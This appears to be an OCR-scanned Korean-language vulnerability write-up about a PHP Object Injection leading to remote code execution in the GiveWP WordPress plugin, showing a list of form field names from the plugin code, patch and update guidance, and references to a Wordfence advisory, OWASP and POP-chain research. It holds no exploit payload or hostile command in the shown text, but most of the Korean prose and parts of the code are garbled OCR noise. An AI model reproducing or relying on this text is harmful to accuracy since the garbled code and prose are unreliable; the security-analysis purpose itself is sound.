426 ‘card_name’,

427 ‘card_number”,

428 ‘card_cve’,

429 ‘card_exp_month’,

430 ‘card_exp_vear’,

431 ‘card_address’,

432 ‘card_address_2°,

433 ‘card_city’,

434 ‘card_state’,

435 ‘billina_country’,

436 ‘card_zip’,

437 ‘give_email ",

438 ‘give_first’,

439 ‘give_last’,

440 ‘give_user_login’,

441 ‘give_user_pass’

442 ‘give-form-title’,

443 ‘give_title’,

444 l:

445

445 foreach ($post_data as $key => $value) {
I L) s 1 i Flli ] i FO= Y 1 By X

a9 29.3.142 WAGNA Z7hE metag A% 27

sig #A] o]F, Stepl oA A APt Hloly HF =A HAEO 874 A= A

=
oeirt wASH AL AT 4 9)

TT]_, I

Output
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E5o]2]9] wp-admin H o]z

g Fokd WA A4 admin AR 219 o)
7, updates o] S HHICIE 7|55 F& WAY 4 At
Plugins (2)
g plugins ha s available. Check the ones you want o update and then click “Update Plugins

A

=%

2L o

s

A A 2 ofg] oA Rl 5 Qo
« URL: https://wordpress.org/plugins/give/#developers
webA, PHP Objection Injection o] EAIste] lojutdAtA 9l ¢l o FAU =Y
3,142 B3 o]sh Flokst HAS] GiveWP Zel19l ALSA 91 249 vl met 5%

e

-
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m 27 AJO|E

« History of Bearsthemes and GiveWP : https://givewp.com/documentation/resources/history-of-
bearsthemes-and-givewp/

+ $4,998 Bounty Awarded and 100K WordPress Sites Protected Against Unauthenticated Remote Code
Execution Vulnerability Patched in GiveWP WordPress Plugin :
https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-
against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

» WordPress Developer Resources - Hooks : https://developer.wordpress.org/plugins/hooks/

» WordPress Developer Resources — add_action :
https://developerwordpress.org/reference/functions/add_action/

» PHP Object Injection : https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

« PHP Documentation — Magic Methods : https://www.php.net/manual/en/language.oop5.magic.php

» Code Reuse Attacks in PHP — Automated POP Chain Generation : https://websec.wordpress.com/wp-
content/uploads/2010/11/rips_ccs.pdf

« x.com (nav1nOx) : https://x.com/nav1n0x/status/1828715567785636112
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